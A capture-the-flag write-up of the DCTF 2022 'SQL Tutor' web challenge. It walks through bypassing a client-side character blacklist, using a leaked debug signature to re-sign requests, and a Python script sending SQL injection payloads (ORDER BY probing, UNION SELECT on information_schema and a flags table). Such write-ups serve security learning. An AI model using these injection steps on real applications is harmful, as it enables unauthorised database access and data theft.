SQL Tutor challenge writeup

4 minute read

DCTF 2022 was held from the 15th of April Until the 17th of the month , and we have participated under the team 0xcha0s, we have managed to solve multiple challenges. this challenge was ranked easy.

   
CTF name DCTF 2022
challenge SQL Tutor
category web
about SQL injection
description I found this awesome site for learning SQL. Check it out!
points 200
team 0xCha0s
solved By 0xMesbaha and itsFading

Discovery

we are introduced with this page which execute fixed SQL statements and take one input to fill the ... in the query

image

However it wasn’t that easy , there are some filters for special characters like [ ' " `] and for some words like UNION

image

Enumeration

Intercepting the request with Burpsuite to see what is going on , we can see the following :

POST /verify_and_sign_text HTTP/1.1
Host: sqltutor.dragonsec.si
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 22
Origin: https://sqltutor.dragonsec.si
Te: trailers
Connection: close

text=dGVzdG1l&alg=sha1

the text we sent has base64 encoded , and other argument is sent alg , sending this request to the repeater and view the response body we can see:

{
  "status": "ok",
  "trimmedText": "dGVzdG1l",
  "signature": "f26039ef86a8c1218019b40e636d66ecfb45324a",
  "debug": null
}

it return status ok , if we have changed the text being sent to a text contain one of the Blacklisted characters we will got another response body :

{
  "status": "error",
  "message": "Dangerous strings:[ ' ] in text!",
  "debug": null
}

Great , Forwarding the request , we can see another request is issued :

POST /execute HTTP/2
Host: sqltutor.dragonsec.si
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 74
Origin: https://sqltutor.dragonsec.si
Te: trailers

text=dGVzdG1l&signature=f26039ef86a8c1218019b40e636d66ecfb45324a&queryNo=0

and this request will be issued only if the first request passed returns status:ok , sending the latest request to the repeater to view the response we can see response body as :

{
  "status": "ok",
  "query": "SELECT * FROM users WHERE users.name='testme'",
  "results": [],
  "description": "This query selects all users with the name 'testme'.",
  "debug": null
}

and we can see "debug:null" , we can try to add it as a parameter in the /execute request and will have the following results

image

we know now the steps it passed through before the execution , so we know that :

2 requests are issued :
1st one make sure the text doesn't contain a blacklisted element "the check is at the client side"
2nd one will decode the text form base64 , verify the signature and then execute the query

we can skip the first request easily and focus on the 2nd request , providing the debug parameter to know the tests we failed or passed

if we try to change the base64 encoded text in the request the old signature will not work

image

and thanks to the debug parameter we know what value should this signature be , so basically we need to issue the request 2 times one to get the valid signature and the other to send the payload associated with the valid signature

Exploitation

we can automate the process to save the time and for efficiency , Let’s Build the script :

  • sending the request for the 1st time to extract the signature value :
#!/usr/bin/python3
import requests
import base64


url= "https://sqltutor.dragonsec.si/execute"
payload ="""testme """.encode('utf-8')
encoded=base64.b64encode(payload).decode('utf-8')
data = {
"text":encoded,
"signature":"dummy",
"queryNo":"0",
"debug":"true"
}

r1= requests.post(url,data=data)
print(r1.text)

image

we will extract the signature value then update the signature parameter in the next request

resp=r1.text
signature= resp.split('"compare":"')[1][0:40]

data["signature"]=signature
r2= requests.post(url,data=data)
print(r2.text)

image

Great the signature is okay and the query is executed , now we are ready to inject our text in the statement to be executed

From the debug output the query is :

SELECT * FROM users WHERE users.name='test'

we need to know number of columns first , update the payload variable :

payload ="""a' order by 8-- """.encode('utf-8')

image

keep fuzzing downwards until

payload ="""a' order by 4-- """.encode('utf-8')

image

we know it has 4 columns , now let’s enumerate the tables names :

payload ="""a' UNION SELECT 1,2,3,table_name FROM information_schema.tables--""".encode('utf-8')

and we got this huge output :

image

Beautifying the output , we can notice the flags table :

image

  • Let’s update our payload :
payload ="""a' UNION SELECT 1,2,3,flag FROM flags-- """.encode('utf-8')

image

and finally the flag is here

dctf{Pump_7h3_s7r3am_h4s5_up!_353aa965}